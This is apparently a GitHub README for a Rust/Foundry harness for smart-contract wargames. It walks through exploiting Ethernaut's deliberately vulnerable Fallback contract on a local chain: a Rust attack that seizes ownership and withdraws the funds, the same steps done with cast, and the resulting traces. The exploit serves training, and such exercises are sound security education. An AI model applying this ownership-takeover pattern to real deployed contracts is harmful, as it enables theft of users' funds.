Skip to content

WARNING: registered DEX offenders in the area. Legally prohibited from being within two blocks from an EOA under the nonce of 18.

Notifications You must be signed in to change notification settings

data-cartel/dex-offender

Repository files navigation

DEX OFFENDER

A compilation of smart contract wargames (currently only Ethernaut and DamnVulnerableDeFi). You can find the levels in ./contracts/$GAME_NAME and add your solution to ./attack/src/$GAME_NAME/hack*.rs.

Smart contracts

Install smart contract dependencies

forge install

Build attack contracts and generate Rust bindings for their ABIs

forge bind -b ./attack/src/abi --module --overwrite

If you want to automatically rebuild the contracts on file change, use

forge build -w

You can find the full list of forge commands by running forge help and you can get all the options of a command by passing --help, e.g. forge bind --help.

Templates

  • ./ctf/src/ethernaut/template_lvl.rs
  • ./attack/src/ethernaut/template_hack.rs

Example solution

Let's solve the first level of Ethernaut, Fallback. You can find the source code of the contract in ./contracts/ethernaut/lvl01/Fallback.sol.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

To take ownership of the contract and withdraw the funds we need to first contribute less than 0.001 ether, then send any non-zero amount to the contract, and then simply call withdraw. Here's what it looks like in Rust (you find this code in ./attack/src/ethernaut/hack01_fallback.rs).

use async_trait::async_trait;
use ctf::ethernaut::lvl01_fallback::*;
use ethers::prelude::*;

pub(crate) struct Exploit;

#[async_trait]
impl ctf::Exploit for Exploit {
    type Target = Target; // If you press ctrl+] then VS Code will take you to the
//                           definition of this type so you can check what you can
//                           use to pass the level. Usually it's just the address
//                           to which the target contract was deployed

    async fn attack(
        self,
        target: &Self::Target, // this that same type you see in the `type Level` thing
        offender: &ctf::Actor, // <-- that's you. of course don't use the `deployer` account
    ) -> eyre::Result<()> {
        // This is how you "connect" to a deployed contract. You can see how it was deployed
        // in ./ctf/src/ethernaut/lvl01_fallback.rs
        let contract =
            Fallback::new(target.contract_address, offender.clone());

        // This is how you call a contract function with no arguments:
        contract.contribute().value(1).send().await?.await?;

        // And this is how to send a regular transaction:
        offender
            .send_transaction(
                TransactionRequest::new().to(contract.address()).value(1),
                None,
            )
            .await?
            .await?;

        // And now withdraw. Easy money...
        contract.withdraw().send().await?.await?;

        Ok(())
    }
}

If you then run cargo test -p attack -- --nocapture you should see something like this

$ cargo test -p attack -- --nocapture
   Compiling attack v0.1.0 (/home/gleb/code/0xgleb/data-cartel/dex-offender/attack)
    Finished test [unoptimized + debuginfo] target(s) in 6.83s
     Running unittests src/lib.rs (target/debug/deps/attack-2b00d561556c247a)

running 1 tests

Running the solution...
Checking the solution...
Checking that you claimed ownership of the contract...
Checking that you reduced its balance to 0...

-------------------------------------
//////     CONGRATULATIONS     //////

$$$  Y O U  H A V E  S O L V E D  $$$
$$$   T H E   C H A L L E N G E   $$$

youpassedthelevelyoupassedthelevelyou
passedthelevelyoupassedthelevelyoupas
sedthelevelyoupassedthelevelyoupassed
-------------------------------------

test ethernaut::hack01_fallback::tests::test ... ok

test result: ok. 1 passed; 0 failed; 3 ignored; 0 measured; 0 filtered out; finished in 35.05s

   Doc-tests attack

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

Local blockchain

If you're using the dev container then you already have a local blockchain running in one of the VS code terminals. If not, you can start it by running anvil. I would recommend turning on tracing to make debugging easier.

anvil --steps-tracing --load-state state.json
Field Value
Port 8545
Mnemonic: test test test test test test test test test test test junk
Derivation path m/44'/60'/0'/0/
Base Fee 1000000000
Gas Limit 30000000
Genesis Timestamp 1686684032
Role Address Private key
Offender 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6
Deployer 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
Some user 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d

Command line wallet

You can then use cast to inspect blocks, transactions, send transactions, call smart contracts and more. Let's do Ethernaut level 1 again but now using cast. I deployed the Fallback contract behind the scenes to address 0x5FbDB2315678afecb367f032d93F642f64180aa3. Let's call contribute() on the contract the same way we did in Rust. -i enables interactive mode and we can simply copy-paste the offender's private key to sign the transaction.

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'contribute()' --value 0.0001ether
Enter private key: # <---------- ################# PASTE PRIVATE KEY HERE ############

blockHash               0xcf356e520eb871b84d65c40970094ba8e8a9b975264b3701d31367063e456b21
blockNumber             3
contractAddress
cumulativeGasUsed       47992
effectiveGasPrice       3767701843
gasUsed                 47992
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x35808bd72ddfc8f3a60da5ced50c8f8dfc62d3cd928b47121422fd02f025362e
transactionIndex        0
type                    2

Now let's send a regular ether transfer to that contract to trigger receive().

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 --value 0.0001ether
Enter private key:

blockHash               0x8fc732547f8d5357356aa593adac7294a4528cb7475c00744976e56a76374232
blockNumber             4
contractAddress
cumulativeGasUsed       28323
effectiveGasPrice       3672046143
gasUsed                 28323
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x7305a525824b6960eca3b105c2d90d561e0bc0b1e1bd77b88277ac4127876993
transactionIndex        0
type                    2

Let's check our contributions.

$ cast call -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'getContribution()'
Enter private key:
0x00000000000000000000000000000000000000000000000000005af3107a4000

Decimal numbers look kinda weird in hex. Let's check who the owner is.

$ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 'owner()'
0x000000000000000000000000a0ee7a142d267c1f36714e4a8f75612f20a79720

Oh, that's the offender address. Looks like we should be able to withdraw() now.

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'withdraw()'
Enter private key:

blockHash               0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber             5
contractAddress
cumulativeGasUsed       30341
effectiveGasPrice       3588198995
gasUsed                 30341
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
transactionIndex        0
type                    2

We can check that transaction.

$ cast tx 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635

blockHash            0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber          5
from                 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
gas                  32596
gasPrice             3588198995
hash                 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
input                0x3ccfd60b
nonce                2
r                    0x3d6ef6c97099eac4ea34e4c4fd96b6a74178cb869d594204d230b71c013778cd
s                    0x12cb05396e67639be6d27f420e058a5d5e3595840da33dfa6dba3ba955342cc9
to                   0x5FbDB2315678afecb367f032d93F642f64180aa3
transactionIndex     0
v                    1
value                0

Or check its receipt.

$ cast receipt 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635

blockHash               0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber             5
contractAddress
cumulativeGasUsed       30341
effectiveGasPrice       3588198995
gasUsed                 30341
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
transactionIndex        0
type                    2

With cast rpc you get the full power of Ethereum's JSON RPC API right at your fingertips.

$ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
[{"action":{"from":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","gas":"0x243d","input":"0x3ccfd60b","callType":"call"},"result":{"gasUsed":"0x243d","output":"0x"},"traceAddress":[],"subtraces":1,"transactionPosition":0,"transactionHash":"0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635","blockNumber":5,"blockHash":"0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d","type":"call"},{"action":{"from":"0x5fbdb2315678afecb367f032d93f642f64180aa3","to":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","value":"0x4564476865e88000","gas":"0x0","input":"0x","callType":"call"},"result":{"gasUsed":"0x0","output":"0x"},"traceAddress":[0],"subtraces":0,"transactionPosition":0,"transactionHash":"0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635","blockNumber":5,"blockHash":"0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d","type":"call"}]

This is hard to read. Let's pipe it thorugh jq.

$ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635 | jq .
[
  {
    "action": {
      "from": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "value": "0x0",
      "gas": "0x243d",
      "input": "0x3ccfd60b",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x243d",
      "output": "0x"
    },
    "traceAddress": [],
    "subtraces": 1,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  },
  {
    "action": {
      "from": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "to": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "value": "0x4564476865e88000",
      "gas": "0x0",
      "input": "0x",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x0",
      "output": "0x"
    },
    "traceAddress": [
      0
    ],
    "subtraces": 0,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  }
]

Aight, last two. You can check the latest block easily.

$ cast block latest

baseFeePerGas        588198995
difficulty           0
extraData            0x
gasLimit             30000000
gasUsed              30341
hash                 0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
miner                0x0000000000000000000000000000000000000000
mixHash              0x0000000000000000000000000000000000000000000000000000000000000000
nonce                0x0000000000000000
number               5
parentHash           0x8fc732547f8d5357356aa593adac7294a4528cb7475c00744976e56a76374232
receiptsRoot         0x24e5537e1fd854ea16e6273cfa8aa012a00ae87821ad88d8e06b6af7dbbedccb
sealFields           [
  0x0000000000000000000000000000000000000000000000000000000000000000
  0x0000000000000000
]
sha3Uncles           0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size                 635
stateRoot            0xc1c5f00d1950c99bf08e0a8cd4ad30db017f95b4b980a1bba75b1fe8177602ab
timestamp            1687538356
totalDifficulty      0
transactions:        [
  0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
]

And we can trace blocks too (assuming you're running anvil with --steps-tracing).

$ cast rpc trace_block latest | jq .
[
  {
    "action": {
      "from": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "value": "0x0",
      "gas": "0x243d",
      "input": "0x3ccfd60b",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x243d",
      "output": "0x"
    },
    "traceAddress": [],
    "subtraces": 1,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  },
  {
    "action": {
      "from": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "to": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "value": "0x4564476865e88000",
      "gas": "0x0",
      "input": "0x",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x0",
      "output": "0x"
    },
    "traceAddress": [
      0
    ],
    "subtraces": 0,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  }
]